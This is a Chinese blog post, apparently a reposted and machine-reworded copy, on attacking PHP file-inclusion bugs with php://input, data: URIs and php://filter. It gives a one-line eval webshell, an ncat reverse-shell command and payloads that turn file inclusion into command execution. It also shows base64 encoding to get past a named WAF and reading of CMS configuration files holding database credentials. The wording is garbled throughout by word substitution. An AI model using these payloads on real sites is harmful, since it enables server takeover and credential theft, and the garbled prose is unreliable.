|
|
|
联系客服020-83701501

php---input,php---filter,data URI schema的那些事

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
php://input,php://filter,data URI schema的那些事

1、php://input1句话木马

在调研dedecms的历史裂缝时,创造了dedecms布置文件已经出过被植入后门的裂缝(SSV-ID网站include目录下shopcar.class.php文件被植入1句话木马)

@eval(file_get_contents(21六;php://input21七;))

我是个实足的php菜鸟,只有效到的时候才会去查查语法书,对php://input也只是有点印象罢了,因此用脚本phpinput.php,配合firefox Hackbar插件测试了1下php://input的从命

Default
12345 <?php$data=file_get_contents('php://input');echo $data."<br/>";//@eval(file_get_contents('php://input'))?>

创造php://input是用来接管post数据(这里有php://input的介绍)

php://input一句话木马 批注掉phpinput.php的打印语句 Default
1 <?php @eval(file_get_contents('php://input'))?>
把持firefox的hackbar提交上图表现的post data Default
1 system('ncat -e /bin/bash localhost 1234');
测试了1下nc反弹shell的应用,失利 php://input一句话木马 - 碳基体 - 碳基体 看来,只要布局了符合的POST数据,就能到达getshell的方针。

2、php://input将文件采集裂缝变成代码实行裂缝

即刻感慨php://input好奇怪,因此进1步搜寻它还能发挥哪些劝化。 在这里感激Casperkid大牛的文章《php LFI读php文件源码以及直接post webshell》,我才知道文件采集能够如许深入。 接下来,演示TA是如何将文件采集裂缝转变成代码实行的裂缝。体式花样参考LFI exploitation via php://input 首先看1段具备文件采集裂缝的代码 Default
1 <?php @include($_GET["file"])?>
php://input,php://filter,data URI schema的那些事 - 碳基体 - 碳基体 咱们把持php://input,将实行代码颠末Firefox 的hackbar 在POST data中提交 Default
1 <?php system('ifconfig');?>
看,文件采集裂缝变成代码实行裂缝了 php://input,php://filter,data URI schema

三、data URI schema将文件采集裂缝变成代码实行裂缝并绕过3六0web卫士的WAF

那还有哪些体式花样,能够一样做到代码实行呢,Casperkid大牛的文章中提到,data URI schema的把持就可以到达如许的成绩。 data URI schema,我已经在做垂钓的实习中,将打击代码天生这种花样并配合短地点转换来天生恶意url,见《应用iframe URI垂钓》,但没想到能够用在文件采集裂缝中。 接下来演示如何实施。 在实施的时候,我蓦然想到,文件采集裂缝,在读取php文件时,是不克不及表现文件内容的。 而许多环境,咱们是急需读取PHP花样的配置文件,例如 dedecms数据库配置文件data/co妹妹on.inc.php, discuz全局配置文件config/config_global.php, phpcms配置文件caches/configs/database.php phpwind配置文件conf/database.php wordpress配置文件wp-config.php 以便下1步浸透测试 因此我写了1段读取指定文件FileInclude.php的代码 Default
1 <?php system('cat /var/www/FileInclude.php')?>
而后将打击代码转化成data:URI, Default
1 data:text/plain,<?php system('cat /var/www/FileInclude.php')?>
运行,下列 php://input,php://filter,data URI schema的那些事 留意,咱们看到转化后的GET乞求的参数中采集<?的标记,在碰着有些WAF,采集云WAF(例如3六0web卫士),就会将其视为打击代码,拦截下来。因此咱们需要做1下编码处置惩罚惩罚 Default
1 data:text/plain;base六4,[打击代码的base六4编码]
不解,这里的打击代码假定采集引号或双引号,只有写成上面的模式再中断base六4编码手艺手段格局实行 Default
1 &lt;?php system('cat /var/www/FileInclude.php');

假定写成上面如许,就不克不及实行

Default
1 &lt;?php system('cat /var/www/FileInclude.php');&gt;
为啥1个>的区别就会如许呢,严重各位大牛们。(本身能够在文章下方留言与咱们探讨!) ? 运行,下列 php://input,php://filter,data URI schema的那些事

4、php://filter在文件采集裂缝中的应用——读取php文件源码内容

颠末上面的把持,咱们知道php://inputdata:URI schema能够将文件采集裂缝变成代码实行裂缝从而getshell。接下来看看php://input的好基友php://filter能做什么呢 参考LFI21七;s Exploitation Techniques,咱们能够采纳php://filter以base六4编码的口头读取指定文件的内容 Default
1 php://filter/read=convert.base六4-encode/resource=[文件蹊径]
上面演示颠末php://filter读取本采集裂缝脚本的源码 php://input,php://filter,data URI schema的那些事 接下来只要将base六4编码后的字符串颠末base六4解码就可取得PHP文件的源码了 php://input,php://filter,data URI schema的那些事 - 碳基体 - 碳基体 参考: http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/ http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html http://hi.百度.com/qingsh4n/item/92ffa8七281e七ee22六cc3七cc七 http://hi.百度.com/casperkid/item/2baf952b13a9cd0e七六2七2cb0 http://www.php.net/manual/zh/wrappers.php.php [via@碳基体]

数安新闻+更多

证书相关+更多